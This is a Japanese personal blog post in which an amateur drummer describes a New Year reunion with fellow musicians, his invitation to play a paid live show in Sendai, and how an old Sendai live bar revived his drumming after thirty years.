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仙台公演決まる

昨日、ある新年会があった。それは、昨年11月に「銀座タクト」でライブを行なった時の主催者のKeiさんを初めとする出演者たちの再会の場だった。場所は東銀座の「しのだ家」という割烹料理屋だ。

昨年の暮れに連絡があり、午後5時からとのことだったが、僕は一応勤労者で就業時刻が午後5時なので、30~40分遅れるが必ず参加すると伝えてあった。だが、まだ仕事始めての時期で、社員は殆ど挨拶回りで出払っており、僕自身も特に急ぎの仕事もなかったので、失礼して4時半に会社を出た。

5時少し過ぎたが、既に全員揃っていて乾杯も終わっていたが、2回目の乾杯と言うことで、新年と再会を祝した。この中には、Keiさん初め、竹原さん(ベース)、錦糸町のジュリー、マコリン(キーボード)、「ベサメムーチョ」を歌った女社長がいた。僕と女社長以外は全員プロのミュージシャンだ。

酔う前にと、Keiさんが「皆さんの意向を確認したいことがあります」と言いながら提案をした。「今年の7月に銀座タクト、それから12月は仙台で、皆さんと一緒にライブをやりたいのですが、皆さんどうですか? 保山さんには既にOKを頂いています」。そうだ、保山さん(ギター)がいないことにやっと気が付いた。今日は都合が悪かったらしい。

夫々、ノートやスマホを取り出して日にちを確認している。全員大丈夫とのこと。僕はといえば、仙台公演に素人の僕が「皆さん」の中に入っているとは思わず、スケジュールを調べようともしなかった。

そしたらKeiさんが、「神童さんもOK?」と聞く。「えっ?!」と僕。「新幹線代、宿泊代、ギャラを全部出しますから、何とか都合付けて」と仰る。「私なんかでいいの? 元シャープ5のドラマーとか、もっと相応しい人がいるでしょ?」「いえ、仙台公演は是非神童さんにドラムやって貰いたいのよ」。

「でも、竹原さんや保山さんにとっては(プロにとっては)気持ち良く演奏出来ませんよ。ねえ?」と僕は竹原さんに助けを求めた。「いやー、神童さん、この前素晴らしかったです。何の問題もありません」と彼も言う。

少なくても足手まといではないと言ってくれたのかなと、内心は嬉しかったが、「ここで、ノーと言っちゃうと新年会が始まらない様なので、それでは皆さん宜しくお願いします」と頭を下げた。仙台は、国分町の「スコッチバンク」という市内ナンバー1のライブハウスだと言う。嘗てC&Sと一緒に沖縄や福岡に演奏旅行に行ったことはあるが、所謂「あごあし付き(=プロ仕様)」の演奏旅行は初めてだ。

Keiさんが仙台公演には是非神童を連れて行きたいと言う理由は聞かなくても分かっている。僕が大学4年間を過ごした地であることと、18年前の単身赴任の時、「デザート・イン」というKeiさんが仕切る小さなライブバーで、Keiさんに出会ったのも仙台だからだ。

学生バンド以来30年近く完全に音楽から遠ざかり、企業戦士の一員として自分の時間の殆どを犠牲にして来た僕としては、間違っても音楽に触れる場面など皆無だった。Keiさんの店には、ピアノ・ギターアンプ・ベースアンプ・ドラムなどが置いてあって、且つ、客は自由に触って良いと言う。社会人になって以来、そんな場面は初めてだった。だがだがだがだ。30年のブランクは途轍もなく大きかった。

頭では分かっているつもりでも手足がそのようには動かない。1~2曲やると直ぐに足が攣る。手首が非常に疲れる。それが悔しくて、単身赴任の気楽さから毎週末は「デザート・イン」に通い詰めたのだった。

音楽好きの会社の後輩や部下大勢を連れて行って、彼等にもKeiさんにも喜ばれた。カラオケで英語の歌を何曲も歌う上司(東北北海道本部の本部長)の転勤の送別会も「デザート・イン」で行なった。彼は生バンドをバックに歌い、いたく感激して何曲も歌ってくれた。会社の接待でもお客さんに喜ばれもした。

僕のドラムの腕前はなかなか昔のようには行かず苦戦が続いていたが、それでも現役の頃の60~70%くらいまで回復したかなと思う頃、東京に呼び戻されてしまった。もう1年置いといてくれたら80~90%まで回復しただろうにねぇ。

しかし、今思えば、この時の、ドラムに触れた30年振りの得難い機会が無ければ、今の僕は音楽とは一切無関係な生活を送っていた訳だ。音楽を通じて多くの人と知り合ったり、気の合った仲間とずっと音楽活動を続けられる今の人生は、まず有り得なかっただろう。

こんなに充実した第2の人生を送れていることを、Keiさんに深く感謝しなければいけない。仙台「スコッチ・バンク」ではステージの上でこのことを絶対に言おうと思う。前乗りの日に飲み過ぎなければ・・・だが。

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